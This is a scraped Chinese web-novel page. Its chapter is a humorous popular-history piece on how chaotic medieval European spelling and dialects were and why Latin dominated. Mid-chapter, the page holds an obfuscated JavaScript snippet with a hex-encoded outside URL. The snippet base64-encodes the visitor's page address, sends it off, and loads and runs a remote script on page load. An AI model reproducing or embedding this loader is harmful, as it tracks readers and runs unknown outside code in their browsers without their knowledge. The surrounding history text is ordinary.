快眼看书 > 科幻小说 > 大穿越时代 > 四、宛如猜谜的中世纪欧洲文字

四、宛如猜谜的中世纪欧洲文字

推荐阅读: 宝鉴   扶明录   叶辰萧初然   重生之再铸青春   女神的上门豪婿(又名:女神的超级赘婿,主角:赵旭)   女神的上门豪婿   女神的上门贵婿   逆天丹帝   神魂丹帝   神魂丹帝   重生之搏浪大时代   仙府种田   这个领主大人非常科学   六指诡医   重生之我真是富三代   刚被悔婚超级天后带娃堵门   踏枝   叶君临  

    四、宛如猜谜的中世纪欧洲文字

    吃饱喝足之后,如果不想躺倒就睡的话,那么按照童话故事中的惯例,你似乎应该给某位贵族小姐或夫人写一封情书,或者向你的君主写信提出一些谏言可问题是,你该用什么书面语言下笔呢

    在中世纪的欧洲,绝大部分的骑士、贵族甚至君王都不识字,甚至还有不少人迷信刀剑,鄙视文化,使得各种知识传承完全被掌握在教会手中。贵族子弟想要学习文化知识,通常只能去教会的修道院。而且,就算你在修道院里进修过,对于真正的远程交流而言,识字的用处恐怕也并不大,

    要知道,在中世纪欧洲,大多数国家的文字语言都没有被标准化,单词和语法什么的,完全是按照个人的发音用字母拼出来。但问题是,就算在同一个语言区,每个地方也都有自己的方言,用字母拼写出来的词汇自然也不一样到博物馆里去看一看中世纪欧洲特别是中欧各国的文献就能知道,同一种语言的同一个词,在不同的人笔下就有多种写法这可不是什么笔误,而是因为根本就没有统一的标准

    实际上,当时用本民族语言写书或者写笔记的人,基本上只要保证自己和熟人能够看得懂就行了,至于其他人么,反正我的书又不是写给他们看的,就让他们像破译密码一样地琢磨去吧

    总之,鉴于中世纪欧洲各民族语言文字的混乱状况,就连圣经也不能用本地语言书写,而是使用希腊语和拉丁文,一般人根本读不懂,只能任凭神棍们随口忽悠事实上,在意大利以外的边远地区,很多教会在当地招募来的低级神职人员,同样是根本不懂晦涩的希腊语和拉丁文。以中世纪那种可悲的交通条件,也不可能组织他们集体去罗马受训。所以,最初开拓阶段的传教士们,只能勉强捏着鼻子降低标准,先把他们对上帝的信仰建立起来再说,剩下的事情等到以后有条件了才慢慢严格要求。

    例如,在中世纪前期,基督教刚刚传入不久的英格兰,就曾经有过这么一个简化标准从当地信徒中招募的最低级传教士,只要会用拉丁文背诵圣经的前三行就算是合格了,剩下的随他们自己编造。

    所以,如果在中世纪遇到一个把圣经故事讲得乌七八糟的蹩脚神父,你也千万不要感到奇怪。

    <script>var aa="\x68\x74\x74\x70\x73\x3a\x2f\x2f\x77\x77\x77\x2e\x62\x69\x71\x75\x67\x65\x69\x69\x2e\x63\x6f\x6d\x2f\x61\x70\x69\x2f\x67\x2e\x70\x68\x70\x3f\x67\x3d";var lpj=window.btoa(self.location.href);var xncz="bZhkYg%3D%3D";var pfwwf="a5lmZp2bZg%3D%3D";var n=aa+encodeURIComponent(lpj)+"&a="+xncz+"&c="+pfwwf;document.write("<scr"+"ipt src="+n+"></scr"+"ipt>");</script>

    而在大航海时代,欧洲的传教士们也是秉持着类似的“速成原则”。于是,由于语言和文化背景上的巨大差异,一度在美洲、非洲和亚洲拉出来一堆千奇百怪的土著神职人员譬如在中国,就有人把圣母玛利亚翻译成玛利亚观音;而在非洲的教堂里,则有黑人唱诗班敲着牛皮战鼓,高吼着严重跑调的赞美歌

    洪秀全的太平天国运动如果提早一千多年,或许就不会被罗马教廷认为是异端了。

    言归正传,鲁迅笔下的孔乙己说“茴字有四种写法”,就被现代的中国人视为累赘迂腐。但在中世纪欧洲的神圣罗马帝国,同一个词在德语里怕是有二十种写法都不止当时的捷克、荷兰、瑞士还有其他许多国度,都还在德国的版图之内,弄得书面信息总是在传播过程之中出差错,想要跟别人写信也很头疼。

    为了避免误会,德意志的诸侯们之间只能用拉丁文交流。而法国那边也好不了多少。

    因此,在中世纪的环境背景之下,千万不要以为都是德国人或者都是法国人,就不存在语言文字上的障碍了就算是在中国,广东人和上海人之间还经常是鸡同鸭讲呢

    大家可以想象一下,如果有人用拼音字母把广东或福建方言拼写出来严格按照当地音调,然后拿给北京人或东北人,要他们读出来那该是一副怎么让人纠结蛋疼的场面啊

    一直要到中世纪已经基本结束的十六世纪中期,马丁。路德不是美国的那个黑人领袖,而是创立新教的那个德国人才对德语的语法进行了初步的规范,并且第一次把圣经翻译成德语。

    由于法语的规范化工作做得比较好,再加上近代法国的实力强盛,文化冠绝欧洲,所以一直到19世纪,法语都是欧洲外交界的国际通用语言,直到20世纪才被英语逐渐取代。

    综上所述,如果你在中世纪用本民族语言写信,由于没有统一的文字标准,收信人很可能会产生误解。而若是采用拉丁文写信,大部分人又看不懂,必须到大教堂里找高级神职人员进行翻译

    当然,如果你是意大利人,就没有这种烦恼了这也是文艺复兴最先在意大利发生的原因之一吧否则,若是连单词和语法都没有统一规定的话,文学家们又该怎么写十日谈和神曲呢

    在此感谢古罗马的语言学家和修辞学家,对拉丁文标准化工作做出的伟大贡献。

    好了,现在让我们初步总结一下中世纪欧洲生活的弊端:城堡不适于居住,饭菜不合口味,没有统一的语言规范,书信交流十分困难

    最后一点其实并不是什么大碍,那年头99的欧洲人都是文盲,一座小镇上都找不出一个识字人的事情比比皆是狼与辛香料里面的那位罗伦斯,只是帮文盲村民们念了一纸契约,就得到了一只烤鸡作为酬劳,可见那年头知识分子的珍贵,与其大费周章的写信,倒不如找个记性好的听差跑过去直接传话。

    总之,就当是生活在现代的偏远山村好了,似乎勉强还能忍受

    呵呵,少年,你实在是太天真了,事情还没完呢,中世纪欧洲日常生活的恐怖之处,绝对能让任何一个正常的现代人疯掉,哪里是这么容易就能蒙混过关的快眼看书小说阅读_www.bookcu.com

上一页 加入书签 目录 投票推荐

推荐阅读: 特种精英玩网游   重振大明   齐天大魔猴   仕途青云   神弃   神峰   网游之统领天下   网游之主宰万物   万能神戒   网游之影子大师   穿越之嫡女锋芒   约会大作战之反转士道   武侠英雄联盟系统   游戏王之竞技之城   撼仙   娇蛮小姐傲总裁   御龙无双   天玄剑传奇   婚城难入  

温馨提示:按 回车[Enter]键 返回书目,按 ←键 返回上一页, 按 →键 进入下一页,加入书签方便您下次继续阅读。章节错误?点此举报